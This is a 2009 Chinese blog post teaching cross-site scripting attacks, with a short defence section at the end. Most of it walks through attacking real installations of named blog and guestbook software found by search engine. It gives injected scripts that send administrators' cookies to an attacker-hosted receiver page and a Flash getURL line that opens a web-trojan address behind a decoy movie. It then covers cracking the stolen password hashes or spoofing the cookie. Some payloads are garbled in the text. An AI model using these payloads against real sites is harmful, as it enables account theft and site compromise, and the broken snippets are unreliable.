跨站漏洞是由于程序員在編寫程序時對一些變量沒有做充分的過濾,直接把用戶提交的數據送到SQL語句里執行,這樣導致用戶可以提交一些特意構造的語句 一般都是帶有像JavaScript等這類腳本代碼。在這基礎上,黑客利用跨站漏洞輸入惡意的腳本代碼,當惡意的代碼被執行后就形成了所謂的跨站攻擊。一般來說對于人機交互比較高的程序,比如論壇,留言板這類程序都比較容易進行跨站攻擊。
利用跨站漏洞黑客可以在網站中插入任意代碼,這些代碼的功能包括獲取網站管理員或普通用戶的cookie,隱蔽運行網頁木馬,甚至格式化瀏覽者的硬盤,只要腳本代碼能夠實現的功能,跨站攻擊都能夠達到,因此跨站攻擊的危害程度絲毫不亞于溢出攻擊,下面我們就來了解一下跨站攻擊的主要攻擊形式。
一.跨站攻擊常用的腳本代碼
跨站攻擊都是通過腳本代碼來實現的,通過寫入不同的腳本代碼來實現不同的功能,跨站攻擊中常用的腳本代碼有如下幾段:
<script>alert("網站存在跨站漏洞");</script>,當用戶瀏覽到插入有這句代碼的網頁時,將會彈出一個警告對話框,對話框中的內容為“網站存在跨站漏洞”,內容部分可以隨意更改。
<script>window.alert(document.cookie);</script>,這句代碼將會彈出一個包含有瀏覽者cookie信息的對話框,如果用戶已經通過帳號登陸網站,在顯示的cookie信息中將會包含有用戶的賬戶名和密碼。
<script>window.open('
http://www.pete.cn/default.asp','newwindow','width=200,height=200');</script>,當用戶瀏覽該頁時,將彈出一個高為200,寬為200的網頁窗口,在其中打開的頁面是http://www.pete.cn/default.asp
上面這些跨站攻擊時常用的腳本代碼,和我們平時使用的一些代碼并無兩樣,為什么到了黑客手中卻是一件武器?這些代碼又是如何在跨站攻擊中發揮強大作用的呢?下面我們將通過幾個實例,來了解跨站攻擊的主要形式和這些腳本代碼在攻擊過程中的作用。
二.跨站攻擊的簡單實例
首先我們得找到有跨站漏洞的程序,這類程序很多,例如論壇、博客、留言板程序,其中很大一部分都存在跨站漏洞。例如第6期報紙上我們曾檢測過的L-blog,由于其申請友情連接的文件對特殊字符過濾不嚴,形成跨站漏洞,在其友情連接的說明文本框中可以輸入跨站腳本代碼,從而造成跨站攻擊。
通過百度以“L-Blog V1.10 AIO”為關鍵字進行搜索,可以找到很多該版本的L-Blog程序,進入L-blog的主頁,在頁面下方找到“首頁友情鏈接”,點擊“更多友情鏈接”進入其友情鏈接的設置界面。在其鏈接的“名稱”文本框中輸入“<script>alert("網站存在跨站漏洞");</script>”(不帶引號,下同),“地址”一欄可以隨便填,最后點擊“提交你的站點”。這樣我們就將跨站腳本寫入了數據庫,接下來要做的就是等待管理員驗證鏈接申請。
當管理員登陸L-blog的后臺管理,點擊“鏈接驗證”選項后就會運行我們的跨站腳本,彈出一個警告對話框。當然我們這里的腳本代碼只是起到提醒作用,并沒有任何破壞性。如果插入的是惡意的腳本代碼,后果將嚴重得多。
圖1.彈出警告對話框
三.通過跨站攻擊獲取cookie
cookie包含著用戶的重要信息,包括用戶在這個網站上的ID,密碼、瀏覽過的網頁、停留的時間等信息??缯竟舻淖钪饕:褪强梢垣@取用戶的cookie,包括網站上所有用戶的賬戶名和密碼,管理員也不例外。一但黑客從管理員的cookie文件中破解出密碼原文,那么網站很可能被黑客滲透。
本例我們以一款著名的留言板程序——桃源多功能留言板 V2.0來進行演示,該版本的“桃源多功能留言板”程序在用戶注冊文件和用戶資料文件中皆存在跨站漏洞。我們先注冊一個用戶,注冊的時候在“個人主頁”一項的文本框中輸入“http://<script>window.alert(.);</script>”,其他項可以隨便填。這樣當管理員點擊首頁上的“用戶管理”鏈接時將會運行我們的跨站腳本代碼,同時會彈出管理員自己的cookie信息。
雖然管理員可以看見自己的cookie信息,但是黑客又是如何得到管理員的cookie信息的呢?這就需要我們構造一個用來接收cookie信息的文件,并在跨站的腳本代碼上進行相應的修改。
首先新建一個文本文檔,在文檔中寫入接收cookie信息文件的內容,代碼內容如圖2所示。然后將這個文本文檔保存為test.asp,并上傳到一個支持asp的網頁空間(空間必須支持FSO組件,否則測試將不能成功)?;氐?#8220;桃源多功能留言板”,點擊“修改資料”,將其中的“個人主頁”一項修改為“http://<script>window.open('http://...g='+.)</script>”。
圖2.接受cookie信息的文件
當管理員運行這段腳本代碼后,并不會彈出自己的cookie信息,甚至沒有任何提示,因此隱蔽性很高。在此期間,我們已經準確地獲取到了管理員的cookie信息。接收到的cookie信息會保存為“日期+時間”形式的文件。
圖3.截獲到的管理員cookie信息
在cookie信息中包含著管理員的賬戶名和密碼,雖然密碼是用MD5加密算法進行加密的,但是仍可以通過暴力破解得到密碼的原文,對于一些不是很強壯的密碼,則可以在很短的時間內得出。此外還可以通過cookie欺騙的方法登陸網站,進行一些只有管理員才能進行的操作。
四:flash文件中的跨站陷阱
跨站攻擊的形式是多樣的,不僅可以在網頁中插入跨站腳本代碼,而且可以在flash文件中插入跨站腳本代碼,實現跨站攻擊。由于flash文件有較高的安全性,用戶通常對flash文件的警惕性不夠,因此用flash文件進行跨站攻擊的成功率很高。如果將這個含有跨站腳本代碼的flash文件插入到網頁中,例如制作成網頁banner或者廣告,那么中招的用戶將更多。
flash跨站是通過在flash文件中插入動作腳本來實現的,通過在flash文件“幀”的“動作”中插入跨站腳本代碼來實現跨站攻擊,其實現方法入下:
首先運行flash文件制作工具flash8.exe,新建一個空白的flash文檔。然后選中其中的第一幀,進入界面下方的“動作”編輯界面,在Action Script中插入我們的跨站腳本代碼:
getURL("http://網頁木馬地址", "_blank", "GET");
loadMovieNum("http://www.pete.cn/test.swf", 0);
圖4.插入跨站腳本代碼
其中第一句可以讓打開這個flash文件的用戶運行網頁木馬,而后面一句的作用是打開一個普通的flash文件,目的是為了不引起用戶懷疑。制作完畢后點擊“文件”菜單→“導出”→“導出影片”,將這個flash文件導出為swf格式即可。用戶運行這個flash文件后將會打開含有木馬的網頁。
五.防范跨站攻擊
跨站攻擊相對于其他網絡攻擊而言顯得更隱蔽,也更難防范。很多時候問題并不出在用戶身上,而是由于網站的問題,即使我們裝了防火墻,也對跨站攻擊無能為力,因此防范跨站攻擊我們得從兩方面入手,即網站方面和個人用戶方面:
1.過濾特殊字符
在網站程序處過濾特殊字符,這是防范跨站腳本攻擊最為有效和徹底的方法。在不影響網站程序正常運行的前提下,我們可以在網站程序的表單輸入處過濾掉“javascript”、“<script>”、“#”、“&”等字符,這樣就可以防范大部分的跨站攻擊。
2.限制輸入字符的長度
對于一些可以進行跨站攻擊的表單對象中,我們可以限制其輸入字符的長度??缯灸_本代碼往往較長,如果限制了輸入字符長度,也可以起到很好的防范作用。這個功能可以在數據庫中設置,也可以編寫一段程序代碼來實現。
3.限制用戶上傳flash文件
使用flash文件進行跨站攻擊可謂防不勝防,如果不能檢測用戶上傳的flash文件的安全性,索性限制用戶上傳flash文件,以徹底阻斷flash跨站攻擊的途徑。
4.提高IE瀏覽器的安全等級
個人用戶防范跨站攻擊有一定的難度,但仍可以通過設置來降低被攻擊的概率。運行IE瀏覽器,選擇“工具”菜單→“Internet 選項”,切換到“安全”標簽,將安全級別設置為高,同時可以在“自定義”中進行詳細的設置,將一些不需要運行的腳本禁用。但是這樣設置后會造成一些正常的頁面無法打開,如何取舍就看各位了。
圖5.提高瀏覽器的安全等級
5.增強安全意識和防范措施
安裝殺毒軟件是必須的,碰到那些插入網頁木馬的跨站攻擊,即使跨站成功,我們運行了網頁木馬,殺毒軟件仍能在最后一步將木馬攔截下來。此外,用戶需要“收斂”對那些具有誘惑力鏈接的好奇心,同時“吝嗇”自己的鼠標點擊,不輕易點擊陌生鏈接。在不同的地方使用不同的密碼,即使黑客通過跨站攻擊獲取了你的cookie,并破解出了你的密碼原文,這樣你損失的也只是一個賬戶而已,不至于全軍覆沒。
posted on 2009-12-04 11:45
xnabx 閱讀(603)
評論(3) 編輯 收藏